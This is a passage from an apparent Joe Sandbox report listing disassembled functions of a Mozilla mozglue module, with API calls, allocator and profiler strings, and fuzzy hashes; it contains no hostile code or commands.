EnterCriticalSection.KERNEL32(6C44E7B8), ref: 6C3DFF81
LeaveCriticalSection.KERNEL32(6C44E7B8), ref: 6C3E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C3E0240
EnterCriticalSection.KERNEL32(6C44E768), ref: 6C3E025B
LeaveCriticalSection.KERNEL32(6C44E768), ref: 6C3E027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C3E0D67, 6C3E0D7B, 6C3E0DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3DFE99, 6C3DFEB7, 6C3DFED3, 6C3E0DB8, 6C3E0DD3, 6C3E19B4
<jemalloc>, xrefs: 6C3E0D62, 6C3E0D76, 6C3E0DA7

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 70502733ac88c88fa5abf938babc5dcb6a701ced9f34e5d072abba425fc1f0e5
Instruction ID: 1a4b278c178f85d654c9c4a449dd510a19eac09570ea98069caa68abb9e36acb
Opcode Fuzzy Hash: 70502733ac88c88fa5abf938babc5dcb6a701ced9f34e5d072abba425fc1f0e5
Instruction Fuzzy Hash: 0CC28D71A057518FD714CF28C480756BBE1BF89328F28C66EE4A98B795DB72E841CF81

Function 6C42E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C42E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C42EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C42F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C42F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C430E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C430E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C430EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C430ED4

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: d6748a263a2a990a508902a57d617c3c92f81134a498a4b7cf30ebbd993e8a35
Instruction ID: f2b20905688073f76a9e2447ddd5608ffc9994eb4369780f87de1ec0573c8328
Opcode Fuzzy Hash: d6748a263a2a990a508902a57d617c3c92f81134a498a4b7cf30ebbd993e8a35
Instruction Fuzzy Hash: 4F638071E0025A8FCB04CFA9C890EDDF7B2FF89310F298269D459AB755D734A946CB90

Function 6C403E50 Relevance: 28.8, APIs: 13, Strings: 3, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C427770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(}>@l,?,?,?,6C403E7D,?,?), ref: 6C42777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C403F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C403F5C
VerSetConditionMask.NTDLL ref: 6C403F8D
VerSetConditionMask.NTDLL ref: 6C403F99
VerSetConditionMask.NTDLL ref: 6C403FA0
VerSetConditionMask.NTDLL ref: 6C403FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C403FB4

Strings

C>@l, xrefs: 6C403E93
nvd3d9wrap.dll, xrefs: 6C404466
nvinit.dll, xrefs: 6C404479

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>@l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-577387179
Opcode ID: 20304a7b319486b90757adfad51de80d5d5dc54f1def5da0478399487d14a63f
Instruction ID: 846da81e332462c68e98a236b44d5b7a0e81cfb530b4232d3d128dfdd2f555b3
Opcode Fuzzy Hash: 20304a7b319486b90757adfad51de80d5d5dc54f1def5da0478399487d14a63f
Instruction Fuzzy Hash: 3E52D172614B488FD715DF34C880EABB7E9BF85208F14492DD49A8B742DB34F929CB61

Function 6C3DFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44E7B8), ref: 6C3DFF81
LeaveCriticalSection.KERNEL32(6C44E7B8), ref: 6C3E022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C3E0240
EnterCriticalSection.KERNEL32(6C44E768), ref: 6C3E025B
LeaveCriticalSection.KERNEL32(6C44E768), ref: 6C3E027B

Strings

MOZ_CRASH(), xrefs: 6C3E0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3DFE99, 6C3DFEB7, 6C3DFED3, 6C3E0DB8, 6C3E0DD3, 6C3E19B4, 6C3E1A10

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 96f1fa0f229684b7fef3bc0118ae89c146c7c00671e1a99531f653a7b3003102
Instruction ID: d50827630e94f0967a1bc414a1d75ce7eedc0664bfc390b460660d7e0a01bd66
Opcode Fuzzy Hash: 96f1fa0f229684b7fef3bc0118ae89c146c7c00671e1a99531f653a7b3003102
Instruction Fuzzy Hash: 1EB2BE716057518FD714CF29C590716BBE1BF89328F28C66EE8AA8B796C771E840CF81

Function 6C415600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

ProfileBuffer parse error: %s, xrefs: 6C415AC8, 6C415CBB
expected a Time entry, xrefs: 6C415CB6
data, xrefs: 6C416131
name, xrefs: 6C415E79, 6C415E8F
expected a Count entry, xrefs: 6C415AC3
schema, xrefs: 6C41606D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 08c0bcbd49e5208f33b56817c7af028d0faca8c097d1fc7ccd67112a5f3b75ff
Instruction ID: 7f971ec196b7fbf4f079ab15c9d4f2f820650aa231b53c2ea5f9f589fca51c44
Opcode Fuzzy Hash: 08c0bcbd49e5208f33b56817c7af028d0faca8c097d1fc7ccd67112a5f3b75ff
Instruction Fuzzy Hash: 5C920771A083418FD724CF19C490FAABBE1BBC9308F55891DE5D99BB51DB30E909CB92

Function 6C3D7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44E744), ref: 6C3D7885
LeaveCriticalSection.KERNEL32(6C44E744), ref: 6C3D78A5
EnterCriticalSection.KERNEL32(6C44E784), ref: 6C3D78AD
LeaveCriticalSection.KERNEL32(6C44E784), ref: 6C3D78CD
EnterCriticalSection.KERNEL32(6C44E7DC), ref: 6C3D78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C3D78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C3D795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C3D79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C3D7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C3D7C82
LeaveCriticalSection.KERNEL32(6C44E7DC), ref: 6C3D7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C3D7DAF

Strings

DDl, xrefs: 6C3D789F
DDl, xrefs: 6C3D787F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: DDl$DDl
API String ID: 759993129-2788810003
Opcode ID: a57748d4a14b4b0633228e3684a8739c94180e2dbb7fb7a6f634431963ea3fc0
Instruction ID: 33d7bdf6088b4238139a75fb431713b3b048f74737d0b04c89edf78a5896c3eb
Opcode Fuzzy Hash: a57748d4a14b4b0633228e3684a8739c94180e2dbb7fb7a6f634431963ea3fc0
Instruction Fuzzy Hash: 23029431E012198FDB54DF19C984B99B7B5FF89318F2682AAD809A7754D731BE90CF80

Function 6C412E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C412ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C412EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C412F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C413214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C413242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4136BF

Strings

set , xrefs: 6C4136EC
get , xrefs: 6C413205
MOZ_PROFILER_SYMBOLICATE, xrefs: 6C41378D

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: b4f1fd5e2c5a45bb02e36ffe655cbcfe5a3c6683575cc2e29e5a55bc69aa0060
Instruction ID: 04ee092ae03eccc4f45b2d2536a76b8d8b92216c686b8eaa0eda2388462cd558
Opcode Fuzzy Hash: b4f1fd5e2c5a45bb02e36ffe655cbcfe5a3c6683575cc2e29e5a55bc69aa0060
Instruction Fuzzy Hash: 6A321AB460C3818FD724CF24C490FAEBBE2AFC9258F54891DE5D987B51DB30994ACB52

Function 6C407E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

(pre-xul), xrefs: 6C407E88
data, xrefs: 6C408280, 6C4083E1
name, xrefs: 6C407ECF, 6C408335
vDl, xrefs: 6C408207
schema, xrefs: 6C4081E3, 6C408311

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vDl
API String ID: 3412268980-124955985
Opcode ID: ebb7ea8e3fc1f9f25a2fd4d52ae355c90ba6e94ecc13c46a0fcba6654c7ba769
Instruction ID: 7df0a1212634f94602d1d5e208f99d18e3827abb876973904e2107c4f5b52021
Opcode Fuzzy Hash: ebb7ea8e3fc1f9f25a2fd4d52ae355c90ba6e94ecc13c46a0fcba6654c7ba769
Instruction Fuzzy Hash: ACE15EB2B043508BD710CF698840A5BF7E9FFC9314F15892DE8999B790DB70ED098B92

Function 6C425FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C426009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C426024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(Q<l,?), ref: 6C426046
OutputDebugStringA.KERNEL32(?,Q<l,?), ref: 6C426061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C426069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C426073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C426082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C44148E), ref: 6C426091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,Q<l,00000000,?), ref: 6C4260BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C4260C4

Strings

Q<l, xrefs: 6C425FFC, 6C426042, 6C426045, 6C4260B3

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: Q<l
API String ID: 3835517998-1676955132
Opcode ID: d5d4a90c29ca9ec18fd35d2b114fca41e4fc91417065153ae5a633de96bdf08c
Instruction ID: 961bb8ce10b1f1a67ca906a293b5a7ed5034cf28bc4564caf4b2d2f2a1268ef2
Opcode Fuzzy Hash: d5d4a90c29ca9ec18fd35d2b114fca41e4fc91417065153ae5a633de96bdf08c
Instruction Fuzzy Hash: 36219471A002189BDB10FF249C49B9E7BB8FF45219F10C428E85AD7240DB74A959CFD2

Function 6C3E5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C3E5EDB
memset.VCRUNTIME140(ewBl,000000E5,?), ref: 6C3E5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C3E5FB2
memset.VCRUNTIME140(ewBl,000000E5,?), ref: 6C3E61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C3E7652

Strings

MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C3E72E3
MOZ_CRASH(), xrefs: 6C3E7BA4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C3E730D
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C3E72F8
ewBl, xrefs: 6C3E5E9C, 6C3E5F22, 6C3E61ED
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3E7BCD, 6C3E7C1F, 6C3E7C34, 6C3E80FD

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ewBl
API String ID: 2613674957-1685341507
Opcode ID: d67c256f7a36b5179e44174531313c782abc17db6293e7b944bfb7c520a3619d
Instruction ID: c21aaaaa92695de245f048cb8dd9b739e7ec46ee09c2db7cb18db4ebe4570243
Opcode Fuzzy Hash: d67c256f7a36b5179e44174531313c782abc17db6293e7b944bfb7c520a3619d
Instruction Fuzzy Hash: FE337D716057118FD304CF29C590615BBF2BF8A328F29C6AEE5698B7A6D732E841CF41

Function 6C414820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C414CAF
ProfileBuffer parse error: %s, xrefs: 6C414DD9
Dl, xrefs: 6C414F88
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C414D65
data, xrefs: 6C4149B4
-%llu, xrefs: 6C414825
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C414D0A
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C414DB8, 6C414DD8
schema, xrefs: 6C4148C1

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free
String ID: Dl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2402369028
Opcode ID: a62faf98ac8ee6a4acfdc33a0df20482894cebabb1b4b42585d16e18940770d8
Instruction ID: 6ee3508d2f40fa8bcdc23f376bc43d2b06da62d03bdde25272cce7f99db3a6b3
Opcode Fuzzy Hash: a62faf98ac8ee6a4acfdc33a0df20482894cebabb1b4b42585d16e18940770d8
Instruction Fuzzy Hash: A3720D71918B858BD322CF34C451BABF7E5AFDA344F108B1DE5C96B610EB70A486DB42

Function 6C3ED4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED4F2
LeaveCriticalSection.KERNEL32(6C44E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED50B

Part of subcall function 6C3CCFE0: EnterCriticalSection.KERNEL32(6C44E784), ref: 6C3CCFF6
Part of subcall function 6C3CCFE0: LeaveCriticalSection.KERNEL32(6C44E784), ref: 6C3CD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED52E
EnterCriticalSection.KERNEL32(6C44E7DC), ref: 6C3ED690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3ED6A6
LeaveCriticalSection.KERNEL32(6C44E7DC), ref: 6C3ED712
LeaveCriticalSection.KERNEL32(6C44E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6C3FD1C5), ref: 6C3ED751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3ED7EA

Strings

: (malloc) Error initializing arena, xrefs: 6C3ED82C
<jemalloc>, xrefs: 6C3ED827

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 4a404ad5b1dd9a2c432a5fd20a13cab13281f536530a10241a8c8fd068d83952
Instruction ID: cba79585ca09c5fda64002c7ae5f3da02e2f1c972a6a6408d2073f97acaf3d64
Opcode Fuzzy Hash: 4a404ad5b1dd9a2c432a5fd20a13cab13281f536530a10241a8c8fd068d83952
Instruction Fuzzy Hash: 8E91B271A047518FD714DF29C490B2AB7E1EBC9318F25892FE5AA87B81D731E844CF92

Function 6C424EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C424EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C424F2E
moz_xmalloc.MOZGLUE ref: 6C424F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C424F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4252B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C4252E6
Sleep.KERNEL32(00000010), ref: 6C425481
free.MOZGLUE(?), ref: 6C425498

Strings

(, xrefs: 6C425250

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: a9f05a215d181e66c46bf114b981c07784661365ed238af2a667ce9900e63347
Instruction ID: 237f79c4da66c5c6c6e169e1e03c54b542338479047915327aeb3ab0df8f27f1
Opcode Fuzzy Hash: a9f05a215d181e66c46bf114b981c07784661365ed238af2a667ce9900e63347
Instruction Fuzzy Hash: 13F1E171A19B008FD716EF398850A2BB7F5EFD6294F05872EF846A7651DB30D842CB81

Function 6C3E9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C3E9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C3E9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C3E9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C3EA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3EA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C3EA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C3EA8B1, 6C3EA8D4, 6C3EA8EF

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: cd2d1a3fffd3e99a9f41425caaf6ff355f56c0557f6cd68a4ddbb306e42305c8
Instruction ID: 4537600f1abe80f1b281926f2cad46832b0842ea308505fb5291c55acafcb179
Opcode Fuzzy Hash: cd2d1a3fffd3e99a9f41425caaf6ff355f56c0557f6cd68a4ddbb306e42305c8
Instruction Fuzzy Hash: 64724A72A156218FD714CF28C540615FFF1BF89328B29C66EE8699B791D336E842CF81

Function 6C412C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C412C31
